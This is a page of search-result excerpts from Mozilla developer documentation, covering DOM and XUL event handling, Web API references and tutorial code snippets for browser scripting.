le = new file(file, "components"); } } return file; } public file[] getfiles(string aprop) { file[] files = null; if (aprop.equals("apluginsdl")) { files = new file[1]; files[0] = new file(libxulpath, "plugins"); } return files; } } calling xpcom ui from another thread appstartup.run() enters the main event loop and will stay there until the application exits.
... following on from the above example, to create a new window, we would do the following: // first, get the event queue service.
... this handles all event queues in xpcom.
...And 5 more matches
Binding Attachment and Detachment - Archive of obsolete content
binding document loads suppress the firing of the dom load event for the bound document.
... when the load event fires, and if all binding documents loaded successfully, it can be assumed that all bindings are attached to all elements in the page.
... for elements that are created during or after the load event is fired, no assumptions can be made regarding order of binding attachment.
...And 5 more matches
MenuItems - Archive of obsolete content
when the user activates the menuitem, the command event gets fired.
...you do not need to update the checked attribute as the menuitem will update this automatically before the command event is fired.
... note that the checked state is updated before the command event fires, so if you use the menuitem's checked attribute within the command listener, it will already be in the new state.
...And 5 more matches
XUL Questions and Answers - Archive of obsolete content
while the attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type.
... specifying window.onload function to specify a function to run when the window is loaded,add the following code between the script tags in the xul file: window.addeventlistener("load", function(e) { startup(); }, false); similarly, for onunload use the code: window.addeventlistener("unload", function(e) { shutdown(); }, false); is there an event which is called when the firefox browser is initialized?
... an event is initiated when the application starts up and when the profile is changed.
...And 5 more matches
datepicker - Archive of obsolete content
!!attention: there is also a datepicker in tb-calendar with differing definitions for members (value is a date there) the change event is fired whenever the date is changed.
... however, as described in mozilla bug #799219, a change event handler may encounter erratic behavior when the date is changed using the keyboard instead of the mouse.
... to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
...And 5 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample-...
... allowevents type: boolean if true, events are passed to children of the element.
... otherwise, events are passed to the element only.
...And 5 more matches
notificationbox - Archive of obsolete content
properties currentnotification, allnotifications, notificationshidden methods appendnotification, getnotificationwithvalue, removeallnotifications, removecurrentnotification, removenotification, removetransientnotifications, attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... events alertactive type: event fired when a notification element is shown.
... alertclose type: event fired when a notification element is closed.
...And 5 more matches
preference - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... overview an onchange attribute is an event listener to the object for the event change.
...And 5 more matches
tabbox - Archive of obsolete content
attributes eventnode, handlectrlpageupdown, handlectrltab properties accessibletype, eventnode, handlectrlpageupdown, handlectrltab, selectedindex, selectedpanel, selectedtab, tabs, tabpanels examples <tabbox id="mytablist" selectedindex="2"> <tabs> <tab label="a first tab"/> <tab label="second tab"/> <tab label="another tab"/> <tab label="last tab"/> </tabs> <tabpanels> <tabpane...
...l><!-- tabpanel first elements go here --></tabpanel> <tabpanel><!-- tabpanel second elements go here --></tabpanel> <tabpanel><button label="click me"/></tabpanel> <tabpanel><!-- tabpanel fourth elements go here --></tabpanel> </tabpanels> </tabbox> attributes eventnode type: one of the values below indicates where keyboard navigation events are listened to.
... if this attribute is not specified, events are listened to from the tabbox.
...And 5 more matches
Implementation Status - Archive of obsolete content
processing model (events) section title status notes bugs 4 processing model (events) partial the xforms-recalculate, xforms-revalidate, and xforms-refresh events are not as separated as they should be.
... 278448; 338146; 4.2 initialization events supported 4.2.1 xforms-model-construct supported 4.2.2 xforms-model-construct-done supported 4.2.3 xforms-ready supported 4.2.4 xforms-model-destruct supported 4.3.1 xforms-rebuild supported 4.3.2 xforms-recalculate supported 4.3.3 xforms-revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported ...
... 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 notification events supported 4.4.1 xforms-insert supported 4.4.2 xforms-delete supported 4.4.3 xforms-value-changed supported 4.4.4 xforms-valid supported 4.4.5 xforms-invalid supported ...
...And 5 more matches
Paddle and keyboard controls - Game development
two event listeners for keydown and keyup events.
... two functions handling the keydown and keyup events the code that will be run when the buttons are pressed.
...to listen for key presses, we will set up two event listeners.
...And 5 more matches
Getting started with HTML - Learn web development
7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...e = 'show solution'; } updatecode(); }); var htmlsolution = '<em>this is my text.</em>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos ...
...one reason html5 dropped these terms was to prevent this rather common confusion.
...And 5 more matches
Introducing asynchronous JavaScript - Learn web development
let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); in this block, the lines are executed one after the other: we grab a reference to a <button> element that is already available in the dom.
... we add a click event listener to it so that when the button is clicked: an alert() message appears.
... an example of an async callback is the second parameter of the addeventlistener() method (as we saw in action above): btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is ...
...And 5 more matches
Video and Audio APIs - Learn web development
first of all, add the following to the bottom of your code, so that the playpausemedia() function is invoked when the play button is clicked: play.addeventlistener('click', playpausemedia); now to define playpausemedia() — add the following, again at the bottom of your code: function playpausemedia() { if(media.paused) { play.setattribute('data-icon','u'); media.play(); } else { play.setattribute('data-icon','p'); media.pause(); } } here we use an if statement to check whether the video is paused.
...add the following addeventlistener() lines below the previous one you added: stop.addeventlistener('click', stopmedia); media.addeventlistener('ended', stopmedia); the click event is obvious — we want to stop the video by running our stopmedia() function when the stop button is clicked.
... we do however also want to stop the video when it finishes playing — this is marked by the ended event firing, so we also set up a listener to run the function on that event firing too.
...And 5 more matches
Creating JavaScript callbacks in components
the component can then call methods on the observer interface to signal the external code when predefined events occur.
...javascript functions as callbacks another common use of the pattern is found in addeventlistener / removeeventlistener.
... a nice feature of addeventlistener is that you can pass a javascript function in place of the callback listener interface.
...And 5 more matches
Browser API
api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface.
... event-related methods in order to manage the browser <iframe>'s content, many new events were added (see below).
... the following methods are used to deal with those events: the <iframe> gains support for the methods of the eventtarget interface addeventlistener(), removeeventlistener(), and dispatchevent().
...And 5 more matches
Profiling with the Firefox Profiler
timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events.
... tracing markers red: these indicate that the event loop is being unresponsive.
... note that high priority events such as vsync are not included here.
...And 5 more matches
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
... boolean candroplink( in nsidomdragevent aevent, in prbool aallowsamedocument ); parameters aevent a dragenter or dragover event.
... exceptions thrown missing exception missing description droplink() given a drop event, determines the link being dragged.
...And 5 more matches
nsIRequest
load_background 1 << 0 do not deliver status notifications to the nsiprogresseventsink, or keep this load from completing the nsiloadgroup it may belong to.
... constant value description inhibit_caching 1 << 7 this flag prevents caching of any kind.
... it does not, however, prevent cached content from being used to satisfy this request.
...And 5 more matches
nsISupports proxies
it has two entry points: ns_imethod getproxyforobject(nsieventqueue *destqueue, const nsiid & iid, nsisupports *object, print32 proxytype, void * *result); ns_imethod getproxy(nsieventqueue *destqueue, const nsiid & cid, nsisupports *aouter, const nsiid & iid, prin...
...this creation will happen off the destination's event queue.
...if this flag is not specified, the proxy object manager will compare the eventq which you pass to the eventq which is on the current thread.
...And 5 more matches
nsITransport
a transport can have an event sink associated with it.
... the event sink receives transport-specific events as the transfer is occurring.
... for a socket transport, these events can include status about the connection.
...And 5 more matches
nsIXMLHttpRequest
nsixmlhttprequest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object.
... using event handlers from native code (not sure if it's up-to-date) from native code, the way to set up onload and onerror handlers is a bit different.
... here is a comment from johnny stenback <jst@netscape.com>: the mozilla implementation of nsixmlhttprequest implements the interface nsidomeventtarget and that's how you're supported to add event listeners.
...And 5 more matches
Standard OS Libraries
example: getcursorpos i wanted to get the mouse cursor position without using a mousemove listener, as this is a high overhead event listener.
... example: cgeventgetlocation for example, cgeventgetlocation function is declared in cgevent.h header file, which is contained in coregraphics.framework.
... components.utils.import("resource://gre/modules/ctypes.jsm"); let coregraphics = ctypes.open("/system/library/frameworks/coregraphics.framework/coregraphics"); let corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); let cgeventref = ctypes.voidptr_t; let cgeventsourceref = ctypes.voidptr_t; let cgeventcreate = coregraphics.declare("cgeventcreate", ctypes.default_abi, cgeventref, cgeventsourceref); let cgfloat = ctypes.voidptr_t.size == 4 ?
...And 5 more matches
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... note: you can also add a handler for the addtrack event using addeventlistener().
...And 5 more matches
BatteryManager - Web APIs
event handlers batterymanager.onchargingchange a handler for the chargingchange event; this event is sent when the battery charging state is updated.
... batterymanager.onchargingtimechange a handler for the chargingtimechange event; this event is sent when the battery charging time is updated batterymanager.ondischargingtimechange a handler for the dischargingtimechange event; this event is sent when the battery discharging time is updated.
... batterymanager.onlevelchange a handler for the levelchange event; this event is sent when the battery level is updated.
...And 5 more matches
Constraint validation API - Web APIs
even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application.
... invalid event this event type is fired at a form control element if the element does not satisfy its constraints.
...if the value is invalid, it fires an invalid event at the element and returns false; otherwise it returns true.
...And 5 more matches
DedicatedWorkerGlobalScope - Web APIs
properties this interface inherits properties from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
... event handlers this interface inherits event handlers from the workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers from windowtimers, windowbase64, and windoweventhandlers.
... dedicatedworkerglobalscope.onmessage is an eventhandler representing the code to be called when the message event is raised.
...And 5 more matches
Document.ononline - Web APIs
WebAPIDocumentononline
the document.online event is fired on the <body> of each page when the browser switches between online and offline mode.
... additionally, the events bubble up from document.body, to document, ending at window.
... both events are non-cancellable (you can't prevent the user from coming online, or going offline).
...And 5 more matches
HTMLImageElement.loading - Web APIs
usage notes timing of the load event the load event is fired when the document has been fully processed.
... when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire.
... by specifying the value lazy for loading, you prevent the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image.
...And 5 more matches
HTMLTextAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmltextareaelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltextareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties accesskey string: returns / sets the element's accesskey attribute.
...in this case, it also fires a cancelable invalid event at the control.
...And 5 more matches
IDBObjectStore.add() - Web APIs
to determine if the add operation has completed successfully, listen for the transaction’s complete event in addition to the idbobjectstore.add request’s success event, because the transaction may still fail after the success event fires.
... in other words, the success event is only triggered when the transaction has been successfully queued.
...if a record already exists in the object store with the key parameter as its key, then an error constrainerror event is fired on the returned request object.
...And 5 more matches
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the indexeddb api provides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" str...
...e4"/><a xlink:href="/docs/web/api/idbopendbrequest" target="_top"><rect x="291" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbopendbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits methods from its parents idbrequest and eventtarget.
...And 5 more matches
Timing element visibility with the Intersection Observer API - Web APIs
setting up to set things up, we run the startup() function below when the page loads: window.addeventlistener("load", startup, false); function startup() { contentbox = document.queryselector("main"); document.addeventlistener("visibilitychange", handlevisibilitychange, false); let observeroptions = { root: null, rootmargin: "0px", threshold: [0.0, 0.75] }; adobserver = new intersectionobserver(intersectioncallback, observeroptions); buildcontents(...
...then we set up an event listener for the visibilitychange event.
... this event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser.
...And 5 more matches
PaymentRequest.onpaymentmethodchange - Web APIs
the paymentrequest event handler onpaymentmethodchange is invoked when the paymentmethodchange is fired, indicating that the user has changed payment methods within a given payment handler.
...each time the user does so, this event is fired.
... this event may not be fired by all payment handlers.
...And 5 more matches
RTCIceTransport - Web APIs
properties the rtcicetransport interface inherits properties from its parent, eventtarget.
... methods also includes methods from eventtarget, the parent interface.
...these are the same candidates which have already been sent to the remote peer by sending an icecandidate event to the rtcpeerconnection for transmission.
...And 5 more matches
SubtleCrypto.exportKey() - Web APIs
*/ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer = new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an event listener on the "export" button.
... */ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ).then((key) => { const exportbutton = document.queryselector(".raw"); exportbutton.addeventlistener("click", () => { exportcryptokey(key); }); }); pkcs #8 export this example exports an rsa private signing key as a pkcs #8 object.
...y( "pkcs8", key ); const exportedasstring = ab2str(exported); const exportedasbase64 = window.btoa(exportedasstring); const pemexported = `-----begin private key-----\n${exportedasbase64}\n-----end private key-----`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = pemexported; } /* generate a sign/verify key pair, then set up an event listener on the "export" button.
...And 5 more matches
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... note: you can also add a handler for the addtrack event using addeventlistener().
...And 5 more matches
sourceCapabilities - Web APIs
the uievent.sourcecapabilities read-only property returns an instance of the inputdevicecapabilities interface which provides information about the physical device responsible for generating a touch event.
... if no input device was responsible for the event, it returns null.
... when a single user interaction with an input device generates a series of different input events, the sourcecapabilities property for all of them will point to the same instance of inputdevicecapabilities.
...And 5 more matches
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... note: you can also add a handler for the addtrack event using addeventlistener().
...And 5 more matches
Visual Viewport API - Web APIs
it also adds two events, onresize and onscroll, that fire whenever the visual viewport changes.
... these events allow you to position elements relative to the visual viewport that would normally be anchored to the layout viewport.
...a window's visualviewport object provides information about the viewport's position and size, and receives the resize and event:visualviewport:scroll events you can onitor to know when chances occur to the window's viewport.
...And 5 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
d="attack" type="range" min="0" max="1" value="0.2" step="0.1" /> <label for="release">release</label> <input name="release" id="release" type="range" min="0" max="1" value="0.5" step="0.1" /> now we can create some variables over in javascript and have them change when the input values are updated: let attacktime = 0.2; const attackcontrol = document.queryselector('#attack'); attackcontrol.addeventlistener('input', function() { attacktime = number(this.value); }, false); let releasetime = 0.5; const releasecontrol = document.queryselector('#release'); releasecontrol.addeventlistener('input', function() { releasetime = number(this.value); }, false); the final playsweep() function now we can expand our playsweep() function.
... let pulsehz = 880; const hzcontrol = document.queryselector('#hz'); hzcontrol.addeventlistener('input', function() { pulsehz = number(this.value); }, false); let lfohz = 30; const lfocontrol = document.queryselector('#lfo'); lfocontrol.addeventlistener('input', function() { lfohz = number(this.value); }, false); the final playpulse() function here's the entire playpulse() function: let pulsetime = 1; function playpulse() { let osc = audioctx.createoscillator(); ...
... let bandpass = audioctx.createbiquadfilter(); bandpass.type = 'bandpass'; bandpass.frequency.value = 1000; // connect our graph noise.connect(bandpass).connect(audioctx.destination); noise user controls on the ui we'll expose the noise duration and the frequency we want to band, allowing the user to adjust them via range inputs and event handlers just like in previous sections: <label for="duration">duration</label> <input name="duration" id="duration" type="range" min="0" max="2" value="1" step="0.1" /> <label for="band">band</label> <input name="band" id="band" type="range" min="400" max="1200" value="1000" step="5" /> let noiseduration = 1; const durcontrol = document.queryselector('#duration'); durcontrol.addeventlistener...
...And 5 more matches
Window.open() - Web APIs
WebAPIWindowopen
tip: note that in some browsers, users can override the windowfeatures settings and enable (or prevent the disabling of) features position and size features windowfeatures parameter can specify the position and size of the new window.
...this is useful for preventing untrusted sites opened via window.open() from tampering with the originating window, and vice versa.
... noreferrer if this feature is set, the request to load the content located at the specified url will be loaded with the request's referrer set to noreferrer; this prevents the request from sending the url of the page that initiated the request to the server where the request is sent.
...And 5 more matches
Synchronous and asynchronous requests - Web APIs
line 3 creates an event handler function object and assigns it to the request's onload attribute.
... example: using a timeout you can use a timeout to prevent your code from hanging while waiting for a read to finish.
...imed out."); }; xhr.onload = function() { if (xhr.readystate === 4) { if (xhr.status === 200) { callback.apply(xhr, args); } else { console.error(xhr.statustext); } } }; xhr.open("get", url, true); xhr.timeout = timeout; xhr.send(null); } notice the addition of code to handle the "timeout" event by setting the ontimeout handler.
...And 5 more matches
XRSession.onsqueezeend - Web APIs
the xrsession interface's onsqueezeend event handler property is a function to be invokedn when the squeezeend event sent to an xrsession when a primary squeeze action ends.
... this is sent immediately after the squeeze event, which announces the successful completion of the squeeze action.
... the squeezeend event handler is where you handle closing out a squeeze action whether it was successfully completed or not.
...And 5 more matches
Keyboard - Accessibility
however, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.
... see also tabindex global html attribute global event handlers: onkeydown global event handlers: onkeyup avoid using tabindex attribute greater than zero the tabindex attribute indicates that an element is focusable using the keyboard.
... an element is clickable if it has an onclick event handler defined.
...And 5 more matches
Border-radius generator - CSS: Cascading Style Sheets
or: #333; } #unit-selection select:hover { cursor: pointer; } #unit-selection .dropdown:before { content: ""; width: 18px; height: 20px; display: block; background-color: #555; background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png"); background-position: center center; background-repeat: no-repeat; top: 0px; right: 0px; position: absolute; z-index: 1; pointer-events: none; } #unit-selection .unit-top-left { top: 0; left: 0; display: none; } #unit-selection .unit-top-left-w { top: -22px; left: 30px; } #unit-selection .unit-top-left-h { top: 20px; left: -37px; } #unit-selection .unit-top-right { top: 0; right: 0; display: none; } #unit-selection .unit-top-right-w { top: -22px; right: 30px; } #unit-selection .unit-top-right-h { top: 20px; r...
...lect: text; -ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parseint(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } var slidercomponent = function slid...
...ercomponent(obj, sign) { var slider = document.createelement('div'); var startx = null; var start_value = 0; slider.addeventlistener("click", function(e) { setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) { startx = e.clientx; start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mousemove", slidermotion); }); document.addeventlistener("mouseup", function(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }); var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx - startx) / obj.sensivity | 0; var value = delta * obj.ste...
...And 5 more matches
Forms related code snippets - Archive of obsolete content
ick; otd.appendchild(document.createtextnode(nday)); } else { otd.classname = sprefs + "-empty-cell"; } otr.appendchild(otd); } this.display.innerhtml = smonthsnames[this.current.getmonth()] + " " + this.current.getfullyear(); this.container.appendchild(this.otbody); }; function ondocclick (opssevt) { const oevt = opssevt || /* ie */ window.event; var boutside = true; for (var onode = oevt.target || /* ie */ oevt.srcelement; onode; onode = onode.parentnode) { if (onode.classname === sprefs + "-calendar" || onode.classname === sdpclass) { boutside = false; break; } } if (boutside) { return; } ainstances[onode.id.replace(rbgnnan, "")].container.style.zindex = nzindex++; } function onheadc...
..., "aug", "sep", "oct", "nov", "dec"], sdays = ["m", "t", "w", "t", "f", "s", "s"], bzeroismonday = true, /* internal usage */ ainstances = [], amonthlengths = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31], rbgnnan = /^\d+/, rbgnandend = /^\d+|\d+\d+$/g, rmonth = /\-month\-/, rdecrease = /\-decr\-/; var /* customizable by user */ nzindex = 1000; window.addeventlistener ?
... addeventlistener("load", buildcalendars, false) : window.attachevent ?
...And 4 more matches
Appendix A: Add-on Performance - Archive of obsolete content
most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data.
... the problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window.
...the code is simple enough: // this is the function that is called in the load event handler.
...And 4 more matches
JavaScript Client API - Archive of obsolete content
records are transformed to wbo's, uploaded to a collection in a sync server and eventually downloaded by other sync clients.
...each engine has a corresponding tracker which listens for changes to data or events it is interested in.
...what events you listen for is entirely up to you.
...And 4 more matches
mousethrough - Archive of obsolete content
« xul reference home mousethrough type: one of the values below determines whether mouse events are passed to the element or not.
... always mouse events are transparent to the element.
... this means that the element will not receive any mouse events due to either clicking or movement.
...And 4 more matches
CheckboxStateChange - Archive of obsolete content
the checkboxstatechange event is executed when the state of a <checkbox> element has changed.
... this event is used mainly for an accessibility purpose.
... general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 4 more matches
RadioStateChange - Archive of obsolete content
the radiostatechange event is executed when the state of a <radio> element has changed.
... this event is used mainly for an accessibility purpose.
... general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 4 more matches
ValueChange - Archive of obsolete content
the valuechange event is executed when the value of an element, <progress> for example, has changed.
... this event is used mainly for an accessibility purpose.
... general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 4 more matches
commandupdate - Archive of obsolete content
the commandupdate event is executed when a command update occurs on a <commandset>.
... this event would be used to update the disabled status of its commands.
... general info specification xul interface event bubbles no cancelable no target element default action none.
...And 4 more matches
Panels - Archive of obsolete content
preventing panels from automatically closing a panel will be closed when a user clicks outside of the panel or when the escape key is pressed.
...when a popup is opened, if an element in the main window is focused, that element is unfocused, and a blur event is fired at it.
...if you want to set the focus to an element by default when a panel is opened, adjust the focus within a popupshown event handler.
...And 4 more matches
Tree Selection - Archive of obsolete content
handling the select event first, let's see how we can determine when an item is selected.
... the onselect() event handler may be added to the tree element.
... when the user selects an item from the tree, the event handler is called.
...And 4 more matches
XUL element attributes - Archive of obsolete content
allowevents type: boolean if true, events are passed to children of the element.
... otherwise, events are passed to the element only.
... mousethrough type: one of the values below determines whether mouse events are passed to the element or not.
...And 4 more matches
arrowscrollbox - Archive of obsolete content
hovering the mouse over one of the (active) arrows triggers a scroll event.
...="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 4 more matches
button - Archive of obsolete content
event handlers can be used to trap mouse, keyboard and other events.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...And 4 more matches
colorpicker - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... overview an onchange attribute is an event listener to the object for the event change.
...And 4 more matches
command - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... oncommand type: script code this event handler is called when the command is activated.
...And 4 more matches
menuitem - Archive of obsolete content
attributes acceltext, accesskey, allowevents, autocheck, checked, closemenu, command, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"...
... allowevents type: boolean if true, events are passed to children of the element.
... otherwise, events are passed to the element only.
...And 4 more matches
menulist - Archive of obsolete content
the command event may be used to execute code when the menulist selection changes.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...And 4 more matches
menuseparator - Archive of obsolete content
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, selected, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut k...
... allowevents type: boolean if true, events are passed to children of the element.
... otherwise, events are passed to the element only.
...And 4 more matches
prefwindow - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
...returning false doesn't currently prevent the dialog from closing, but does prevent saving (bug 474527).
